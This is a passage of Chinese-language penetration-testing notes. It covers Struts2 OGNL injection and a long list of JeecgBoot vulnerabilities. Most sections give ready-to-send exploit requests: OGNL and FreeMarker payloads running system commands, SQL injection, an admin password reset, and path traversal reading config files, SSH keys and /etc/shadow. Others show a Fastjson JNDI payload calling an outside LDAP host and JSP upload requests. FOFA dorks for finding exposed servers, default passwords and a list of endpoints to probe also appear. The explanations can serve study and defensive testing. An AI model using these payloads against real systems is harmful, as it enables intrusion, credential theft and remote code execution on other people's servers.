redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

它同时支持${}%{}两种闭合方式

# S2-019

这个漏洞依然发生在DefaultActionMapper里,不过关键在于:动态方法调用

struts2提供了一个极其灵活的功能:DMI,只要在配置文件中开启struts.enable.DynamicMethodInvocation = true(早期版本中这个选项默认开启),前端就能通过URL直接指定要调用Action里的哪个方法

语法就是使用!分隔:

http://127.0.0.1/UserAction!login.action

服务器收到请求之后就会去UserAction类里面直接执行login方法

当请求发送到服务器之后,DefaulActionMapper会把!后面的字符串(方法名)提取出来,但是在处理这个提取出来的方法名时会对这个方法名进行OGNL评估

# payload
http://127.0.0.1:8080/example/HelloWorld!%{#req=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletReq'uest'),#res=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletRes'ponse'),#res.getWriter().print("Ognl_Pwned_By_ZLARYY"),#res.getWriter().flush(),#res.getWriter().close()}.action

# S2-032(CVE-2016-3081)

官方在S2-016之后删除了redirectredirectAction这两个前缀,但是保留了method:前缀,如果开启了DMI:struts.enable.DynamicMethodInvocation = true,前端就可以通过在HTTP请求的参数名中使用method:来制定调用的方法,比如:

http://127.0.0.1:8080/index.action?method:login

这行请求会让DefaultActionMapper去执行Action里的login方法

类似的,struts2在解析method:冒号后面的字符串时也会对这个字符串进行OGNL评估

# payload
 http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS ,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

# jeecg-boot

参考:Jeecg-boot常见漏洞汇总 - FreeBuf网络安全行业门户

Jeecg漏洞汇总(非常全)附全新扫描工具(JeecgGo)-CSDN博客

JeecgBoot是一款集成AI应用的,基于BPM流程的低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,提高效率、节省成本,同时又不失灵活性!低代码能力:Online表单、表单设计、流程设计、Online报表、大屏/仪表盘设计、报表设计; AI应用平台功能:AI知识库问答、AI模型管理、AI流程编排、AI聊天等,支持含ChatGPT、DeepSeek、Ollama等多种AI大模型。

可以通过以下语法搜索可能带有jeecg-boot的服务器:

fofa:

body="/sys/common/pdf/pdfPreviewIframe"
title="Jeecg-Boot 快速开发平台" || body="积木报表"
body="jeecg-boot"
app="JEECG"
icon_hash="1380908726"
icon_hash="-250963920"

第二篇参考文章中给了一个自动扫描jeecg-boot漏洞的项目:Msup5/JeecgGo: JeecgBoot Go版本综合漏洞检测工具

# 常见弱口令漏洞

admin/123456
jeecg/123456
admn/admin
test/test
demo/test
jeecg/jeecg123456
guest/guest

# JeecgBoot passwordChange接口任意用户密码重置

JeecgBoot passwordChange接口任意用户密码重置是一个结合了未授权访问和水平越权的漏洞

这个漏洞的接口在/jeecg-boot/sys/user/passwordChange(或基于其路由规则的类似路径)

  1. Token校验失效或配置不当(未授权访问):在Jeecg-boot的部分版本或默认配置中,该接口可能被错误地加入了鉴权白名单(anon),或者其底层的Token验证机制存在逻辑缺陷,导致即使攻击者不提供有效的X-Access-Token请求头,依然能触达底层的密码修改业务
  2. 身份盲目信任(水平越权):当业务代码处理密码请求时,它仅仅依赖前端传入的请求参数去数据库执行UPDATE更新操作,系统后端没有去校验当前发起请求的用户(Token解析出的真实用户)身份是否与被修改密码的用户(传入的username参数)完全一致

所以可以构造一个http请求访问/sys/user/passwordChange接口的请求报文,在请求体的JSON或表单数据中,强行制定username: admin以及password: ZLARYY,这样请求发出去之后管理员admin的密码就会变成ZLARYY

# payload
GET /jeecg-boot/sys/user/passwordChange?username=admin&password=admin&smscode=&phone= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

# jeecg-boot-checkOnlyUser信息泄露漏洞

jeecg-boot-checkOnlyUser信息泄露漏洞(CVE-2021-37306)是早期版本Jeecg-boot中的信息泄露漏洞(Jeecg-boot <= 2.4.5),其涉及的接口是/jeecg-boot/sys/user/checkOnlyUser/sys/user/checkOnlyUser

Jeecg-boot业务逻辑中,checkOnlyUser接口原本是提供给前端做表单校验用的,比如检查输入的username等是否被别人占用,在Jeecg-boot 2.4.5及以前的版本中,错误地将这个接口加入了免密访问白名单(anon)

这就导致不提供任何Token的情况下,直接向该接口发送请求,通过不断替换username的参数,根据服务器返回的truefalse状态判断是否存在某个账号,从而实现用户名字典枚举

与其搭配的是CVE-2021-37305:querySysUser,这个接口可以将指定用户完整数据库记录以JSON格式全部脱出,拿到Hash和Salt之后就可以直接在本地破解管理员密码

# payload
/jeecg-boot/sys/user/checkOnlyUser?username=admin

Jeecg-Boot 2.4.5及之前版本存在不安全权限漏洞。攻击者可利用该漏洞通过uri:/sys/user/querySysUser?username=admin提升权限并查看敏感信息。

# jeecg-boot-目录遍历漏洞

通常出现问题的接口为:/sys/common/view/{filename}(文件预览/图片查看接口)、/sys/common/download(文件下载接口)

当服务器接收到前端传来的filename参数时,后端的代码逻辑通常是将”基础上传目录“与”传入的文件名“进行拼接:File file = new File(baseUploadPath,filename)

如果后端没有对传入的filename包含特殊字符进行过滤就可以传入../进行目录穿越

# payload
GET /jeecg-boot/sys/common/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fapplication-prod.yml HTTP/1.1
Host: target.com

可以尝试读取的内容有:application.ymlapplication-prod.yml/root/.ssh/id_rsa(可以获取服务器的SSH私钥,尝试直接远程登录服务器)、/etc/shadow/etc/passwd

还有一种类型:Jeecg-Boot 任意目录遍历/文件树信息泄露漏洞

通常接口是:/jeecg-boot/online/cgform/head/fileTree

其逻辑为前端传入一个路径parentPath,后端就去服务器上读取这个路径下的所有文件夹和文件名,比如:parentPath=/(Linux),parentPath=C:\(Windows),既没有沙箱限制读取目录也没有严格的权限控制

# payload
/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/

低权限账号访问直接返回服务器文件目录信息

# Jeecg-boot 3.4.4 /sys/dict/queryTableData SQL注入

为了让底层的SQL语句能动态地接收tableNametextColumncodeColumn三个参数,MyBatis的预编译语法#{}只能用于安全地绑定数据值(如WHERE id = ?),不能用来绑定表名或者列名,为了实现功能所以采用${}语法,${}的底层机制是原封不动地进行字符串拼接:

SELECT ${textColumn} AS text, ${codeColumn} AS value FROM ${tableName}
# payload
/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA

# JeecgBoot onlDragDatasetHead/getTotalData SQL注入

这是JeecgBoot/JimuReport仪表盘模块中的一个未授权SQL注入,CVE编号为CVE-2024-48307JeecgBoot v3.7.1/onlDragDatabaseHead/getTotalData组件存在SQL注入,实际常见路径是带项目上下文和drag前缀的/jeecg-boot/drag/onlDragDatabaseHead/getTotalData

onlDragDatabaseHead/getTotalData这个接口属于JeecgBoot集成的JimuReport/JimuBI仪表盘大屏模块,它支持报表、仪表盘、大屏设计,用户可以通过拖拽组件完成数据展示,相关权限也说明了drag:design:getTotalData,说明这个接口本来就是给仪表盘获取Online表单展示数据用的,其正常业务逻辑大概是前端告诉后端要查询的tableName、filedName、filter和用什么维度、指标、统计字段

利用点主要围绕JSON请求体里的参数:

tableName
config.name[].fieldName
config.value[].fieldName
condition / filter

如果这些参数被后端直接拼接select 字段 from 表名 where 条件那么就会造成SQL注入

# payload
POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/2
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Content-Type: application/json
Content-Length: 281

{"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(0x7e,version(),0x7e)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}}

# jeecg-boot-getDictItemsByTable SQL注入漏洞

jeecg-boot-getDictItemsByTableSQL注入漏洞本质上是JeecgBoot早期“动态字典查询接口”把用户传入的表名、显示字段、值字段直接拼接进SQL,其常见的漏洞接口形式为:

/jeecg-boot/sys/ng-alain/getDictItemsByTable/{table}/{key}/{value}

这个接口原本是给前端组件加载“字典项”用的,比如需要从某张表里面查数据:

表名:sys_depart
显示字段:depart_name
值字段:id

后端就会查询类似:

select depart_name as label, id as value from sys_depart

最终获得前端指定表、指定字段里取得的字典数据

但是在后端里面,tablekeyvalue并不是作为普通值传入SQL,而是被原样替换到SQL结构里面,用的还是MyBatis的${}字符串拼接,而不是安全参数绑定

之前我们也提到过MyBatis的${},它表示字符串直接拼接,在MyBatis中还有一种写法#{}表示作为参数占位符,由预编译处理,所以相对来说#{}会安全些

# payload
GET /jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Purpose: prefetch
Connection: close
Priority: u=6

# Jeecg-Boot /jmreport/show SQL注入漏洞

该漏洞是JeecgBoot集成的JimuReport积木报表模块中的一个报表预览接口注入问题,主要出现在JeecgBoot 3.5.0、3.5.1,其主要表现为/jeecg-boot/jmreport/show组件存在SQL注入

jmreport/show这个接口属于JimuReport报表的预览/展示接口,其正常业务逻辑为前端点击“预览报表”之后,服务器端请求jeecg-boot/jmreport/show,后端根据报表的id寻找报表配置,进而读取报表里配置的数据源SQL,然后把前端传入的查询参数带入SQL,最后执行SQL返回报表数据

其问题出现在/jeecg-boot/jmreport/show接口存在未授权SQL注入,在报表展示逻辑中,后端会进入jmReportDesignService.show,随后调用报表数据查询逻辑,其动态SQL类似select * from ... where id='${id}',说明参数以模版替换形式进入SQL

JeecgBoot 3.5.3/jeecg-boot/jmreport/show接口中仍存在SQL注入问题,并且可以通过布尔盲注绕过防护

# payload
POST /jeecg-boot/jmreport/show HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 182
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip

{
"id": "961455b47c0b86dc961e90b5893bff05",
"apiUrl": "",
"params": {
"id ": "1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '"
}
}

# jeecg-boot sys/duplicate/check SQL注入

该漏洞是JeecgBoot里“重复值校验接口”产生的SQL注入问题,包括CVE-2022-45206和后续绕过/变体CVE-2023-37805

/sys/duplicaye/check接口的作用是检查某张表里的字段的值是否重复

比如后台新增用户时,要判断用户名是否已经存在,前端可能会让后端检查:

tableName = sys_user
fieldName = username
fieldVal  = admin
dataId    = 当前编辑数据的 id,可选

后端正常逻辑大概是select count(*) from 某张表 where 某字段 = 某个值,如果count > 0就说明重复,如果count = 0说明可用

其中tableNamefieldName属于SQL结构的一部分,后端如果把他们直接拼进SQL就会出现:

select count(*) from ${tableName} where ${fieldName} = #{fieldVal}

这里即使fieldVal使用了预编译,但tableNamefieldName没有严格白名单校验,仍然可以控制SQL结构,在JeecgBoot 3.5.0中的/sys/duplicate/check接口中存在SQL注入,checksql可以被绕过

# payload
GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&fieldVal=1&dataId=asd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU


GET /jeecg-boot/sys/duplicate/check?tableName=sys_log&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))&fieldVal=1000&dataId=2000 HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU

# JeecgBoot jmreport/loadTableData SSTI模板注入漏洞

该漏洞一般对应CVE-2023-41544,它是JeecgBoot集成的JimuReport积木报表模块在处理报表SQL参数时,使用FreeMarker模版引擎解析了用户可控内容,导致服务端模板注入,严重时可发展为远程代码执行RCE。攻击者可通过构造HTTP请求访问/jmreport/loadTableData组件执行任意代码

/jmreport/loadTableData接口属于JimuReport积木报表的数据加载接口,正常情况下报表设计器里会配置数据源、SQL、表名、分页参数等信息,前端请求/jmreport/loadTableData之后后端根据这些参数去加载报表数据

该接口没有身份验证,且后端会使用FreeMarker处理用户传入的SQL参数,调用链中会进入parseReportSql,最终使用FreeMarkerUtils创建并处理模版,即SQL字符串会先被当做FreeMarker模版内容解析

# payload
POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
X-Sign: AD0488642A880C68C8E3551C3BE0F6F5
X-TIMESTAMP: 1699726206096
X-Access-Token: null
token: null
JmReport-Tenant-Id: null
Content-Length: 167
Connection: close
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726144; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726162

{"dbSource":"","sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'","tableName":"test_demo);","pageNo":1,"pageSize":10}

# JeecgBoot AviatorScript表达式注入

该漏洞主要发生在JeecgBoot集成的JimuReport模块中,在报表单元格、文本组件或计算表达式中允许写入AviatorScript表达式,而后端在预览、展示报表时会解析这些表达式,如果这部分表达式内容可控就可能造成服务端执行非预期代码,严重时导致RCE

其触发链可以通过/jmreport/save在报表文本内容里写入AviatorScript表达式,然后访问/jmreport/show触发表达式解析,从而导致命令执行

AviatorScript表达式:AviatorScript是Java生态中的一个表达式引擎,常用作动态计算、条件判断、公式解析,它的表达式可以包含数字、字符串、布尔值、变量、运算符、函数调用和条件判断

# 结果为7
AviatorEvaluator.execute("1 + 2 * 3");

这里的1+2*3就是一个AviatorScript表达式,与普通的Java代码不一样的是,AviatorScript表达式可以在程序运行时从字符串中动态解析并执行,那么,如果表达式引擎具备访问Java对象、类加载、函数调用等能力,就会从公式计算变成服务端表达式执行

其漏洞链路大致为:发现能访问报表保存接口之后在报表text/单元格内容中写入AviatorScript表达式,接着访问报表展示接口导致后端渲染报表触发AviatorScript解析,从而执行非预期表达式

# payload
POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 108

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami \") }'" 
}

# jeecg-boot后台/sysMessageTemplate/sendMsg接口FreeMaker模板注入

该漏洞本质是消息模版功能把用户可控的模版内容交给FreeMarker引擎解析,导致服务端可能执行非预期的模版表达式,严重时造成远程代码执行

/sysMessageTemplate/sendMsg这个接口属于JeecgBoot的系统消息模版功能,正常业务逻辑中,管理员创建消息模版,然后向模版中写入变量,调用sendMsg接口发送模版消息,最后用户就可以在站内信或者系统消息中看到最终内容

添加模版:/jeecg-boot/sys/message/sysMessageTemplate/add
发送模版:/jeecg-boot/sys/message/sysMessageTemplate/sendMsg
查看结果:/jeecg-boot/sys/message/sysMessage/list

如果模版内容能被恶意地添加或修改,再调用发送接口,就可能让后端解析恶意的FreeMarker模版

之前我们提到了/jmreport/loadTableDataSSTI,它和sendMsg的区别在于前者是报表SQL参数被FreeMarker解析,属于积木报表模块,后者属于消息模版内容被FreeMarker解析,属于系统消息模版模块

# payload
1、添加一个测试模板

POST /jeecg-boot/sys/message/sysMessageTemplate/add HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao
Tenant-Id: 0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 141

{"templateType":"1","templateCode":"5","templateName":"test111","templateContent":"${\"freemarker.template.utility.Execute\"?new()(\"id\")}"}

2、发送模板

POST /jeecg-boot/sys/message/sysMessageTemplate/sendMsg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao
Tenant-Id: 0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 64

{"templateCode":"5","testData":"{}","receiver":"","msgType":"1"}

3、执行模板并查看返回结果

GET /jeecg-boot/sys/message/sysMessage/list?_t=1732776144&column=createTime&order=desc&field=id,,,esTitle,esContent,esReceiver,esSendNum,esSendStatus_dictText,esSendTime,esType_dictText,action&pageNo=1&pageSize=10 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao
Tenant-Id: 0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close
Accept-Encoding: gzip

# Jeecg-jeecgFormDemoController存在JNDI代码执行漏洞

CVE-2023-49442JEECG jeecgFormDemoController JNDI代码执行漏洞,特别:Jeecg与Jeecg-Boot不是同一个应用,该漏洞主要影响JEECG 4.0及以前版本

JEECG 4.0及以前版本中,jeecgFormDemoController.do?interfaceTest接口存在不安全反序列化/JNDI注入风险,用户可以通过构造恶意请求让服务端通过JNDI去加载远程对象,最终可能造成远程代码执行

JNDIJava Naming and Directory Interface,Java命名与目录接口,正常业务逻辑中是作为资源查找机制,但如果能控制JNDI查询地址,例如让服务器去查询一个外部LDAP/RMI地址,就可能诱导服务器加载恶意对象或触发危险类从而形成代码执行

jeecgFormDemoController是JEECG旧版专用的Online表单/表单演示控制器,漏洞相关接口通常写成:

jeecgFormDemoController.do??interfaceTest

这个漏洞的核心大概是接口接收用户提交的数据之后后端使用存在风险的Fastjson版本(Fastjson 1.2.31)处理数据,导致触发不安全的反序列化,在反序列化过程中触发JNDI lookup,接下来服务端访问攻击者控制的远程地址导致加载恶意对象或触发恶意逻辑,最终实现远程代码执行

这个漏洞经常和路径绕过问题一起出现,在JEECG 4.0及以前版本中,/api接口鉴权时没有正确过滤路径遍历,可以构造包含../的URL绕过鉴权,然后访问jeecgFormDemoController.do?interfaceTest

所以实际上在原本接口可能需要权限的条件下,/api鉴权逻辑可能存在路径处理问题,接下来我们就可以通过../绕过访问控制访问interfaceTest接口提交恶意反序列化数据,从而触发JDNI代码执行

# payload
POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

serverUrl=http://xxxxxxxx:8877/jeecg.txt&requestBody=1&requestMethod=GET

创建如下远程文件,其内容为fastjson代码执行的payload

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.66.64.89:1389/8orsiq",
"autoCommit":true
}
}

# jeecg-boot/jmreport/upload接口存在未授权任意文件上传

CVE-2023-34660:属于JimuReport积木报表模块中的文件上传接口安全问题,本质上属于报表设计器里的上传接口没有做好访问控制和文件类型校验,导致可以上传非预期类型文件从而造成存储型XSS,常见接口是jeccg-boot/jmreport/upload

它原本是给报表设计器上传图片或资源文件使用,可通过“报表设计器->新建报表->插入图片”触发上传流程,重点影响JeecgBoot 3.5.0/3.5.1

# payload
POST /jeecg-boot/jmreport/upload HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfyhSCMs9cajzFD4
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 1476

------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="file"; filename="11111.txt"
Content-Type: text/html

<%! 1111>
------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="fileName"

11111.txt
------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="biz"

excel_online
------WebKitFormBoundaryyfyhSCMs9cajzFD4--

# Jeecg-commonController.do文件上传

CVE-2022-2647:Jeecg/JeecgBoot中某些版本的commonController.do上传处理接口缺少严格鉴权和文件类型限制,可能通过构造上传请求写入非预期文件,严重时可造成RCE,常见的被提到的入口为/commonController.do?parserXml,部分资料中会结合路径绕过写成/api/../commonController.do?parserXml

该接口的正常业务逻辑可以理解为前端上传文件之后,commonController.do接收multipart//form-data,后端解析文件内容或保存文件之后返回上传结果

同样,问题的核心在于/api接口鉴权时没有过滤路径遍历,导致可以构造包含../的URL绕过鉴权,再利用commonController接口进行文件上传

# payload
POST /jeecg-boot/api/../commonController.do?parserXml HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Length: 360
User-Agent: Mozilla/2.0 (compatible; MSIE 3.01; Windows 95
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Connection: close

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; "name="name"

zW9YCa.png
------WebKitFormBoundarygcflwtei
ontent-Disposition: form-data; name="documentTitle"

blank
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="zW9YCa.jsp"
Content-Type: image/png

11111
------WebKitFormBoundarygcflwtei--

# 常见的jeecg-boot接口与常见的jeecg-boot漏洞利用工具

在文章https://www.freebuf.com/articles/web/436956.html的结尾,这位老师还给出了一些常见的jeecg-boot接口和常见的jeecg-boot漏洞利用工具

# jeecg-boot接口

/v2/api-docs
/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/
/jeecg-boot/sys/user/querySysUser?username=admin
/jeecg/
/api/sys/
/sys/user
/v2/api-docs
/swagger-ui.html
/env
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace
/druid/index.html
/druid/sql.html
/druid/weburi.html
/druid/websession.html
/druid/weburi.json
/druid/websession.json
/druid/login.html
/api/config/list
/sys/user/list
/sys/user/add
/sys/user/edit
/sys/user/queryById
/sys/user/changePassword
/sys/role/list
/sys/role/add
/sys/role/edit
/sys/role/queryPermission
/v2/api-docs
/v1/api-docs
/api-docs
/sys/menu/list
/sys/menu/add
/sys/menu/edit
/sys/menu/delete
/sys/depart/list
/sys/depart/add
/sys/depart/edit
/sys/depart/delete
/online/cgform/list
/online/cgform/add
/online/cgform/edit
/online/cgform/delete
/online/cgform/fields/{tableName}
/online/cgform/table/list
/online/cgform/table/sync
/online/cgform/generateCode
/sys/dict/list
/sys/dict/add
/sys/dict/edit
/sys/dict/delete
/act/process/list
/act/process/deploy
/act/task/list
/act/task/complete
/act/task/history
/sys/common/upload
/sys/common/download/{fileId}
/sys/common/view/{fileId}
/monitor/redis/info
/monitor/server/info
/api/test/demo/list
/api/test/demo/add
/sys/log/list
/sys/log/delete
/sys/sms/send
/sys/sms/list
/api/test/demo/edit
/api/test/demo/delete
/report/loadReport/{code}
/chart/api/getChartData
/api/test/demo/queryById
/act/process/delete
/sys/dict/loadDictItems/{dictCode}
/jeecg-boot/sys/getLoginQrcode
/jeecg-boot/sys/getQrcodeToken
/jeecg-boot/sys/login
/jeecg-boot/sys/phoneLogin
/jeecg-boot/sys/scanLoginQrcode
/jeecg-boot/drag/onlDragDataSource/add
/jeecg-boot/drag/onlDragDataSource/delete
/jeecg-boot/drag/onlDragDataSource/deleteBatch
/jeecg-boot/drag/onlDragDataSource/edit
/jeecg-boot/drag/onlDragDataSource/list
/jeecg-boot/drag/onlDragDataSource/queryById
/jeecg-boot/drag/onlDragDatasetHead/add
/jeecg-boot/drag/onlDragDatasetHead/addGroup
/jeecg-boot/drag/onlDragDatasetHead/delDragDataSetHeadGroup
/jeecg-boot/drag/onlDragDatasetHead/delete
/jeecg-boot/drag/onlDragDatasetHead/edit
/jeecg-boot/drag/onlDragDatasetHead/queryById
/jeecg-boot/drag/onlDragDatasetHead/updateGroup
/jeecg-boot/drag/onlDragDatasetParam/add
/jeecg-boot/drag/onlDragDatasetParam/delete
/jeecg-boot/druid/login.html
/jeecg-boot/drag/onlDragDatasetParam/deleteBatch
/jeecg-boot/drag/onlDragDatasetParam/edit
/jeecg-boot/actuator/httptrace
/jeecg-boot/drag/onlDragDatasetParam/list
/jeecg-boot/drag/onlDragDatasetParam/queryById
/jeecg-boot/drag/websocket/sendData
/jeecg-boot/sys/checkRule/add
/jeecg-boot/sys/checkRule/checkByCode
